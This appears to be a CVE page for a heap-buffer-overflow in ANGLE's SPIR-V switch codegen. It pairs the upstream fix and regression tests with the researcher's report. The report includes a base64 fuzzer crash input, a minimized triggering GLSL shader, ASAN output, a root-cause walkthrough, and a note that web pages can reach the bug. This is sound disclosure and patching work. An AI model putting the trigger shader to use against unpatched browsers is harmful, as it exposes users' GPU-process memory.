CVE-2026-9121
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
switchsrc/tests/gl_tests/GLSLTest.cpp |
modified |
Files Changed
src/compiler/translator/ParseContext.cppsrc/compiler/translator/tree_ops/PruneEmptyCases.cppsrc/tests/compiler_tests/PrunePureLiteralStatements_test.cppsrc/tests/gl_tests/GLSLTest.cpp
Patch
From 86d64be7672eefa53eb10e2241e4bb0fbb3ba323 Mon Sep 17 00:00:00 2001
From: Shahbaz Youssefi <syoussefi@chromium.org>
Date: Mon, 23 Mar 2026 13:38:34 -0400
Subject: [PATCH] Translator: Fix codegen of switch with empty last case
... which is not actually allowed, except may be introduced to the AST
by transformations that remove dead code. The parser in this change
makes sure the switch ends in some branch just in case.
To pass the unit tests, PruneEmptyCases is improved to consider cases
whose only code is "break" as empty.
Bug: angleproject:488064108
Change-Id: I728ee897b82a9a15d4c778839480969f3f743ace
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7694532
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Commit-Queue: Shahbaz Youssefi <syoussefi@chromium.org>
---
diff --git a/src/compiler/translator/ParseContext.cpp b/src/compiler/translator/ParseContext.cpp
index da092c4b..139eb45 100644
--- a/src/compiler/translator/ParseContext.cpp
+++ b/src/compiler/translator/ParseContext.cpp
@@ -8328,6 +8328,19 @@
return nullptr;
}
+ // In case the last statement isn't already a branch, add |break| automatically. Some AST
+ // transformations may dead-code-eliminate the contents of the last |case| and leave the switch
+ // statements ending in a case (which is what the check above forbids). Most generators do not
+ // handle this unexpected situation.
+ //
+ // Note that a branch may be present inside a nested block, but that's ok, the extra branch
+ // added here gets eliminated in |PruneNoOps|.
+ if (statementCount > 0 &&
+ statementList->getChildNode(statementCount - 1)->getAsBranchNode() == nullptr)
+ {
+ statementList->appendStatement(new TIntermBranch(EOpBreak, nullptr));
+ }
+
mIRBuilder.endSwitch();
markStaticUseIfSymbol(init);
diff --git a/src/compiler/translator/tree_ops/PruneEmptyCases.cpp b/src/compiler/translator/tree_ops/PruneEmptyCases.cpp
index 276c8c9..374438c 100644
--- a/src/compiler/translator/tree_ops/PruneEmptyCases.cpp
+++ b/src/compiler/translator/tree_ops/PruneEmptyCases.cpp
@@ -79,10 +79,18 @@
// blocks are marked for pruning.
size_t i = statements->size();
size_t lastNoOpInStatementList = i;
+
while (i > 0)
{
--i;
TIntermNode *statement = statements->at(i);
+
+ // Ignore the last |break| for the purposes of this pruning
+ if (i + 1 == statements->size() && statement->getAsBranchNode() != nullptr &&
+ statement->getAsBranchNode()->getFlowOp() == EOpBreak)
+ {
+ continue;
+ }
if (statement->getAsCaseNode() || IsEmptyBlock(statement))
{
lastNoOpInStatementList = i;
@@ -111,7 +119,24 @@
}
if (lastNoOpInStatementList < statements->size())
{
- statements->erase(statements->begin() + lastNoOpInStatementList, statements->end());
+ // The extra cases can only be removed if there is no |default|, otherwise dropping them
+ // changes the cases that land in |default|.
+ bool hasDefault = false;
+ for (i = 0; i < lastNoOpInStatementList; ++i)
+ {
+ TIntermNode *statement = statements->at(i);
+ if (statement->getAsCaseNode() != nullptr &&
+ !statement->getAsCaseNode()->hasCondition())
+ {
+ hasDefault = true;
+ break;
+ }
+ }
+
+ if (!hasDefault)
+ {
+ statements->erase(statements->begin() + lastNoOpInStatementList, statements->end());
+ }
}
return true;
diff --git a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
index 910ccc5..a976514 100644
--- a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
+++ b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
@@ -143,9 +143,10 @@
" }\n"
"}\n";
compile(shaderString);
- ASSERT_TRUE(foundInCode("default"));
- ASSERT_TRUE(foundInCode("case"));
+ ASSERT_TRUE(notFoundInCode("default"));
+ ASSERT_TRUE(notFoundInCode("case"));
ASSERT_TRUE(notFoundInCode("42"));
+ ASSERT_TRUE(notFoundInCode("switch"));
}
// Test that the pruning correctly handles the pruning inside switch statements - pruning isn't
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index ee07276..25b3ee9 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -22504,9 +22504,6 @@
// it is no-op.
TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch)
{
- // Incorrect translation before IR.
- ANGLE_SKIP_TEST_IF(!getEGLWindow()->isFeatureEnabled(Feature::UseIr));
-
constexpr char kFS[] = R"(#version 300 es
uniform int ui;
out mediump vec4 color;
@@ -22534,6 +22531,36 @@
ASSERT_GL_NO_ERROR();
}
+// Regression test for codegen errors when the last case of a switch is dead-code-eliminated.
+TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch2)
+{
+ constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+uniform int a, b;
+out vec4 color;
+void main() {
+ float r = 0.25;
+ switch(a) {
+ case 0:
+ switch(b) {
+ default:
+ r = 0.75;
+ case 0:
+ switch(b) { }
+ }
+ break;
+ default:
+ r = 0.5;
+ }
+ color = vec4(r, 0, 0, 1);
+})";
+
+ ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
+ drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_NEAR(0, 0, GLColor(63, 0, 0, 255), 1);
+ ASSERT_GL_NO_ERROR();
+}
+
// Test that if the uniform struct specifier is referenced by non-uniform variables, the
// sortUniforms() step does not reorder the uniform struct specifier and place it after where it is
// referenced.
Regression Test / PoC
diff --git a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
index 910ccc5..a976514 100644
--- a/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
+++ b/src/tests/compiler_tests/PrunePureLiteralStatements_test.cpp
@@ -143,9 +143,10 @@
" }\n"
"}\n";
compile(shaderString);
- ASSERT_TRUE(foundInCode("default"));
- ASSERT_TRUE(foundInCode("case"));
+ ASSERT_TRUE(notFoundInCode("default"));
+ ASSERT_TRUE(notFoundInCode("case"));
ASSERT_TRUE(notFoundInCode("42"));
+ ASSERT_TRUE(notFoundInCode("switch"));
}
// Test that the pruning correctly handles the pruning inside switch statements - pruning isn't
diff --git a/src/tests/gl_tests/GLSLTest.cpp b/src/tests/gl_tests/GLSLTest.cpp
index ee07276..25b3ee9 100644
--- a/src/tests/gl_tests/GLSLTest.cpp
+++ b/src/tests/gl_tests/GLSLTest.cpp
@@ -22504,9 +22504,6 @@
// it is no-op.
TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch)
{
- // Incorrect translation before IR.
- ANGLE_SKIP_TEST_IF(!getEGLWindow()->isFeatureEnabled(Feature::UseIr));
-
constexpr char kFS[] = R"(#version 300 es
uniform int ui;
out mediump vec4 color;
@@ -22534,6 +22531,36 @@
ASSERT_GL_NO_ERROR();
}
+// Regression test for codegen errors when the last case of a switch is dead-code-eliminated.
+TEST_P(GLSLTest_ES3, EmptyLastCaseInSwitch2)
+{
+ constexpr char kFS[] = R"(#version 300 es
+precision mediump float;
+uniform int a, b;
+out vec4 color;
+void main() {
+ float r = 0.25;
+ switch(a) {
+ case 0:
+ switch(b) {
+ default:
+ r = 0.75;
+ case 0:
+ switch(b) { }
+ }
+ break;
+ default:
+ r = 0.5;
+ }
+ color = vec4(r, 0, 0, 1);
+})";
+
+ ANGLE_GL_PROGRAM(program, essl3_shaders::vs::Simple(), kFS);
+ drawQuad(program, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_NEAR(0, 0, GLColor(63, 0, 0, 255), 1);
+ ASSERT_GL_NO_ERROR();
+}
+
// Test that if the uniform struct specifier is referenced by non-uniform variables, the
// sortUniforms() step does not reorder the uniform struct specifier and place it after where it is
// referenced.
Original Bug Report
Chromium: ANGLE SPIRV Backend: Heap-Buffer-Overflow in writeSwitchCaseBlockEnd
Report description
Chromium: ANGLE SPIRV Backend: Heap-Buffer-Overflow in writeSwitchCaseBlockEnd
Bug location
Where do you want to report your vulnerability?
Chrome VRP β Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
Chromium/Angle
The problem
Please describe the technical details of the vulnerability
A heap-buffer-overflow (READ of 4 bytes) exists in ANGLE’s SPIR-V code generation backend
when compiling GLSL shaders containing nested switch statements where the innermost switch
has an empty body. The blockIds vector is undersized because the block-count calculation
does not account for the empty switch case, and a subsequent access reads 4 bytes past the
end of the heap allocation.
To reproduce this with ASAN we should disable libc++ hardening. This issue is mitigated by libc++ hardening within Chromium builds, but it does not appear that this protection is guaranteed across all supported ANGLE configurations (similar to other vulns https://issues.chromium.org/issues/435139154)
Step 1: Disable libc++ hardening
Edit build_overrides/build.gni and change enable_safe_libcxx = true to:
enable_safe_libcxx = false
This is needed so ASAN reports the heap-buffer-overflow directly. With hardening enabled,
libc++ catches the vector OOB first (producing a __libcpp_verbose_abort crash instead
of an ASAN report), confirming the bug either way.
Step 2: Configure the build
gn gen out/fuzz --args='use_libfuzzer=true is_asan=true is_debug=false dcheck_always_on=false v8_enable_sandbox=false'
Note: v8_enable_sandbox=false is required because V8’s sandbox requires libc++ hardening.
Step 3: Build the fuzzer
autoninja -C out/fuzz angle_translator_fuzzer
Step 4: Create the crash reproducer
base64 -d > crash.bin << 'BINEOF'
MIsAAAIAAAAPAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAjdmVyc2lvbiAzMDAgZXMKcHJlY2lzaW9uIG1lZGl1bXAgZmxvYXQ7CnVu
aWZvcm0gaW50IGEsIGI7Cm91dCB2ZWM0IGY7CnZvaWQgbWFpbigpIHsKICAgIGZsb2F0IHIgPSAw
LjA7CiAgICBzd2l0Y2goYSkgewogICAgICAgIGNhc2UgMDoKICAgICAgICAgICAgc3dpdGNoKGIp
IHsKICAgICAgICAgICAgICAgIGNhc2UgMDoKICAgICAgICAgICAgICAgICAgICBzd2l0Y2goYikg
eyB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgZGVmYXVsdDoKICAg
ICAgICAgICAgciA9IDYuMDsKICAgIH0KICAgIGYgPSB2ZWM0KHIpOwp9AA==
BINEOF
Step 5: Reproduce
ASAN_OPTIONS="detect_leaks=0" ./out/fuzz/angle_translator_fuzzer crash.bin
...
=================================================================
==9804==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x71a5ebfe2974 at pc 0x5f86f6e310db bp 0x7ffcaf394670 sp 0x7ffcaf394668
READ of size 4 at 0x71a5ebfe2974 thread T0
#0 0x5f86f6e310da in sh::SPIRVBuilder::writeSwitchCaseBlockEnd() third_party/angle/src/compiler/translator/spirv/BuildSPIRV.cpp:2303:47
#1 0x5f86f6dd5854 in sh::(anonymous namespace)::OutputSPIRVTraverser::visitSwitch(sh::Visit, sh::TIntermSwitch*) third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp:5716:14
#2 0x5f86f6c4ac0a in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:54:19
#3 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#4 0x5f86f6c4aa9b in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:43:45
#5 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#6 0x5f86f6c4f0bd in sh::TIntermTraverser::traverseFunctionDefinition(sh::TIntermFunctionDefinition*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
#7 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#8 0x5f86f6dcd438 in sh::OutputSPIRV(sh::TCompiler*, sh::TIntermBlock*, ShCompileOptions const&, absl::flat_hash_map<int, unsigned int, absl::hash_internal::Hash<int>, std::__Cr::equal_to<int>, std::__Cr::allocator<std::__Cr::pair<int const, unsigned int>>> const&, unsigned int) third_party/angle/src/compil
er/translator/spirv/OutputSPIRV.cpp:6764:11
#9 0x5f86f6dae922 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1179:12
#10 0x5f86f6a7cd4c in sh::TCompiler::compile(angle::Span<char const* const, 18446744073709551615ul, char const* const*>, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1344:18
#11 0x5f86f68eff14 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:274:17
#12 0x5f86f6934e96 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#13 0x5f86f6902bfc in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
#14 0x5f86f690c920 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
#15 0x5f86f68f3675 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#16 0x7585ecc29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x71a5ebfe2974 is located 0 bytes after 4-byte region [0x71a5ebfe2970,0x71a5ebfe2974)
allocated by thread T0 here:
#0 0x5f86f68eda2d in operator new(unsigned long) (/home/dav/angle-analysis/src/out/fuzz_nohard/angle_translator_fuzzer+0x6f0a2d) (BuildId: 8acc648700b6887c)
#1 0x5f86f6e29b7f in std::__Cr::vector<angle::spirv::BoxedUint32<angle::spirv::IdRefHelper>, std::__Cr::allocator<angle::spirv::BoxedUint32<angle::spirv::IdRefHelper>>>::resize(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:43:28
#2 0x5f86f6e2d4d2 in sh::SPIRVBuilder::startConditional(unsigned long, bool, bool) third_party/angle/src/compiler/translator/spirv/BuildSPIRV.cpp:1926:26
#3 0x5f86f6dd59c5 in sh::(anonymous namespace)::OutputSPIRVTraverser::visitSwitch(sh::Visit, sh::TIntermSwitch*) third_party/angle/src/compiler/translator/spirv/OutputSPIRV.cpp:5687:18
#4 0x5f86f6c4ab4c in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:48:31
#5 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#6 0x5f86f6c4aa9b in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:43:45
#7 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#8 0x5f86f6c4f0bd in sh::TIntermTraverser::traverseFunctionDefinition(sh::TIntermFunctionDefinition*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:102:9
#9 0x5f86f6c4f811 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
#10 0x5f86f6dcd438 in sh::OutputSPIRV(sh::TCompiler*, sh::TIntermBlock*, ShCompileOptions const&, absl::flat_hash_map<int, unsigned int, absl::hash_internal::Hash<int>, std::__Cr::equal_to<int>, std::__Cr::allocator<std::__Cr::pair<int const, unsigned int>>> const&, unsigned int) third_party/angle/src/compi
ler/translator/spirv/OutputSPIRV.cpp:6764:11
#11 0x5f86f6dae922 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1179:12
#12 0x5f86f6a7cd4c in sh::TCompiler::compile(angle::Span<char const* const, 18446744073709551615ul, char const* const*>, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1344:18
#13 0x5f86f68eff14 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:274:17
#14 0x5f86f6934e96 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
#15 0x5f86f6902bfc in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
#16 0x5f86f690c920 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
#17 0x5f86f68f3675 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
#18 0x7585ecc29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/angle/src/compiler/translator/spirv/BuildSPIRV.cpp:2303:47 in sh::SPIRVBuilder::writeSwitchCaseBlockEnd()
Shadow bytes around the buggy address:
With default libc++ hardening enabled (without enable_safe_libcxx=false), the same
input produces:
gen/third_party/libc++/src/include/__vector/vector.h:416: libc++ Hardening assertion __n < size() failed: vector[] index out of bounds
==PID== ERROR: libFuzzer: deadly signal
SUMMARY: libFuzzer: deadly signal
Semantics of PoC
Minimized shader (218 bytes):
#version 300 es
precision mediump float;
uniform int a, b;
out vec4 f;
void main() {
float r = 0.0;
switch(a) {
case 0:
switch(b) {
case 0:
switch(b) { }
}
break;
default:
r = 6.0;
}
f = vec4(r);
}
The minimal trigger requires exactly 3 levels of nested switch statements where the
innermost switch has an empty body (no case labels, no statements). The outer two
switches must have at least one case label each. Targeting the SPIRV backend (output=15)
with objectCode=1 is required to reach the code generation stage.
Root Cause Analysis
Overview
The vulnerability is a vector undersizing bug in the SPIRV backend’s switch statement code generation. Three components interact:
- Incorrect block count for empty switch bodies
- Vector allocation based on that count
- Unconditional OOB access when writing the switch’s merge block
Detailed Walkthrough
Step 1: Block Count Calculation (OutputSPIRV.cpp:5629-5686)
When visitSwitch processes the InVisit phase, it scans the switch body’s statement
list to determine how many SPIR-V basic blocks are needed:
// OutputSPIRV.cpp:5630-5686
const TIntermSequence &statements = *node->getStatementList()->getSequence();
bool lastWasCase = true;
size_t blockIndex = 0;
for (TIntermNode *statement : statements)
{
TIntermCase *caseLabel = statement->getAsCaseNode();
const bool isCaseLabel = caseLabel != nullptr;
if (isCaseLabel)
{
// Record case/default block mapping
lastWasCase = true;
}
else if (lastWasCase)
{
++blockIndex; // New block when non-case follows case
lastWasCase = false;
}
}
const size_t blockCount = blockIndex + 1; // +1 for merge block
mBuilder.startConditional(blockCount, false, true);
For an empty switch body (no statements at all):
- The loop body never executes
blockIndexremains 0blockCount= 0 + 1 = 1 (only the merge block)
Step 2: Vector Allocation (BuildSPIRV.cpp:1920-1937)
startConditional(1) allocates a blockIds vector with exactly 1 element:
// BuildSPIRV.cpp:1920-1937
void SPIRVBuilder::startConditional(size_t blockCount, bool isContinuable, bool isBreakable)
{
mConditionalStack.emplace_back();
SpirvConditional &conditional = mConditionalStack.back();
conditional.blockIds.resize(blockCount); // resize(1) β one element at index 0
for (spirv::IdRef &blockId : conditional.blockIds)
blockId = getNewId({});
// ...
}
Step 3: First Block Consumed (BuildSPIRV.cpp:2275-2293)
writeSwitch() calls nextConditionalBlock(), which consumes blockIds[0] and
increments nextBlockToWrite to 1:
// BuildSPIRV.cpp:2289-2292
void SPIRVBuilder::writeSwitch(...)
{
// ... write OpSelectionMerge, OpSwitch ...
terminateCurrentFunctionBlock();
nextConditionalBlock(); // nextBlockToWrite: 0 β 1
}
After this call: nextBlockToWrite = 1, blockIds.size() = 1.
Step 4: The OOB Access (BuildSPIRV.cpp:2295-2311)
During PostVisit of the innermost switch, visitSwitch calls writeSwitchCaseBlockEnd():
// BuildSPIRV.cpp:2295-2311
void SPIRVBuilder::writeSwitchCaseBlockEnd()
{
if (!isCurrentFunctionBlockTerminated())
{
const SpirvConditional *conditional = getCurrentConditional();
const spirv::IdRef nextBlock =
conditional->blockIds[conditional->nextBlockToWrite];
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// nextBlockToWrite = 1, blockIds.size() = 1
// β READS 4 BYTES PAST END OF VECTOR ALLOCATION
spirv::WriteBranch(getSpirvCurrentFunctionBlock(), nextBlock);
terminateCurrentFunctionBlock();
}
nextConditionalBlock();
}
blockIds[1] accesses memory 0 bytes after the end of a 4-byte heap region, as
confirmed by ASAN: "0x... is located 0 bytes after 4-byte region".
Data Flow Diagram
visitSwitch(InVisit, innermost empty switch)
β
ββ Scan statements β loop never executes β blockIndex = 0
ββ blockCount = 0 + 1 = 1
ββ startConditional(1) β blockIds = [id0] (size=1)
ββ writeSwitch() β nextConditionalBlock() β nextBlockToWrite = 1
β
visitSwitch(PostVisit, innermost empty switch)
β
ββ writeSwitchCaseBlockEnd()
β ββ !isCurrentFunctionBlockTerminated() β true
β ββ blockIds[nextBlockToWrite] = blockIds[1]
β ββ *** HEAP-BUFFER-OVERFLOW: size=1, index=1 ***
Versions vulnerable
Chromium commits where reproduced:
- Chromium f8e584480508dfdc9f4ed0fbd7c6a1f509c4cc21 (2026-02-26) with ANGLE 81d957ba β crash confirmed via ASAN
Latest Chromium tip (verified vulnerable via source inspection):
- Chromium f10551c61d2bfc1525ba395bbf50b0ab862e736f (2026-02-26, same Chrome 147.0.7707.0) with ANGLE b17ee0e7 β the vulnerable line blockCount = blockIndex + 1 at OutputSPIRV.cpp:5686 is identical
Latest ANGLE main tip (verified vulnerable):
- ANGLE 3c48b5f1e95ee82d6cabb10c7592dee0be542808 (2026-02-25) β same vulnerable code confirmed
Introducing commit:
- ANGLE dc59772e2a76 (2021-06-22) β “Vulkan: SPIR-V Gen: Support switch” by Shahbaz Youssefi. The block-count formula has never been modified since.
Impact analysis
Classification: Heap-buffer-overflow READ of 4 bytes
Attack surface: The ANGLE shader compiler processes untrusted GLSL/ESSL shader source in Chromium’s GPU process (via WebGL / WebGPU). A malicious web page can supply arbitrary shader source that reaches this code path through the SPIRV backend.
Exploitability: Low to Medium.
- The OOB read is exactly 4 bytes past the end of a small (4-byte) heap allocation. The
read value is used as a SPIR-V block ID (
spirv::IdRef) passed toWriteBranch(), which writes it into the SPIR-V output buffer. This means the 4 bytes of heap data leaked via the OOB read end up in the generated SPIR-V binary. - The read is deterministic (always reads exactly 4 bytes at offset +0 from the allocation end), making it reliably triggerable but limited in what memory it can access.
The cause
What version of Chrome have you found the security issue in?
145.0.7632.75, also at HEAD
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Memory Corruption
How would you like to be publicly acknowledged for your report?
David Korczynski (david@adalogics.com)